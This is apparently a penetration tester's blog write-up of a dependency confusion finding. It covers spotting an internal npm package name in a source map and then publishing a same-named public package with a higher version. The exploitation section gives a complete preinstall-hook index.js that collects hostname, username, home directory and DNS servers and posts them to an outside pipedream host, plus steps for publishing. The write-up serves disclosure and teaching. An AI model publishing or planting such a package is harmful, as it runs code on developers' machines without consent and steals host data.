Dependency Confusion Attack: A Route to RCE
Hello, amazing hackers! Today, I’m explaining one of my recent findings: the dependency confusion attack and how it can lead to remote code execution. This vulnerability was discovered during a private pen-test engagement.
What is Dependency Confusion?
A Dependency Confusion attack or supply chain substitution attack occurs when a software installer script is tricked into pulling a malicious code file from a public repository (e.g. NPM, PIP, RUBYGEMS, MVN etc.) instead of the intended file of the same name from an internal repository. The attacker can upload a package with a higher version number to the public repository.
In this writeup, we are focusing on the NPM package dependency. The Dependency confusion vulnerability was discovered by Alex Brisan and it is explained very in-depth in his writeup.
Discovery
The primary use case of the application was to analyze financial data submitted by users. During recon, I always prefer to manually review JavaScript files. While going through the HTTP requests related to JS files in Burp Suite, I observed an app.randomnumbers.js.map (source map) file.
Generally, source map files are used for debugging purposes by developers. It is mapping between minified JS files and their original source JS files. I started reviewing the JS source map file and discovered some Node.js packages by searching for keywords such as
import
,require
, andnode_modules
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
//app.randomnumber.js.map
import {
NameSpaces
}
from '../constants/namespaces';
import store from '../redux-store/store';
const { Trackevaluator } = require('ORGNAME-trackevaluator'); // Here ORGNAME indicates company name
const Context = require('./context').Context;
const ReferralContext = require('./referral.context').ReferralContext;
const evaluate = new Trackevaluator();
const camelize = (obj) => _.transform(obj, (acc, value, key, target) => {
const camelKey = _.isArray(target) ? key : _.camelCase(key);
acc[camelKey] = _.isObject(value) ? camelize(value) : value;
});
- During the analysis of the file, a package named
ORGNAME-trackevaluator
was found, as shown in the code snippet above. While searching this package on the npmjs.com gave 0 results, indicating a potential vulnerability to a dependency confusion attack.
NPM packages can also be found in the package.json and package-lock.json files.
- Instead of manually checking each package, we can use the tool called confused to identify packages that are not hosted on public repositories.
Exploitation
- Create a package using
npm init
command. Make sure to provide higher version number during creation process of the package. In the package.json file, add the command
"preinstall" : "node index.js"
under"scripts"
parameter as shown in below snippet.- Create index.js file with mentioned below code. Make sure to change the hostname with your burpcollaborator or pipedream domain in the code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
//index.js
//author:- whitehacker003@protonmail.com
const os = require("os");
const dns = require("dns");
const querystring = require("querystring");
const https = require("https");
const packageJSON = require("./package.json");
const package = packageJSON.name;
const trackingData = JSON.stringify({
p: package,
c: __dirname,
hd: os.homedir(),
hn: os.hostname(),
un: os.userInfo().username,
dns: dns.getServers(),
r: packageJSON ? packageJSON.___resolved : undefined,
v: packageJSON.version,
pjson: packageJSON,
});
var postData = querystring.stringify({
msg: trackingData,
});
var options = {
hostname: "eoty85f2nvs15dudw.m.pipedream.net", //replace burpcollaborator.net with Interactsh or pipedream
port: 443,
path: "/",
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": postData.length,
},
};
var req = https.request(options, (res) => {
res.on("data", (d) => {
process.stdout.write(d);
});
});
req.on("error", (e) => {
// console.error(e);
});
req.write(postData);
req.end();
Publish the package using
npm publish
command. Verify the published package on the npm public repository.The preinstall script will execute
node index.js
command. Once package is installed on the system.
- After sometime of uploading the package, I received pingbacks containing the hostname, directory, IP address, and username from many systems on my server. This was fixed quickly by the developers, once it was reported.
Impact
- A Dependency Confusion attack, whether opportunistic or targeted, can result in widespread infections among a vendor’s customers. This can empower attackers to execute unauthorized access, steal data, deploy ransomware which disrupt operations.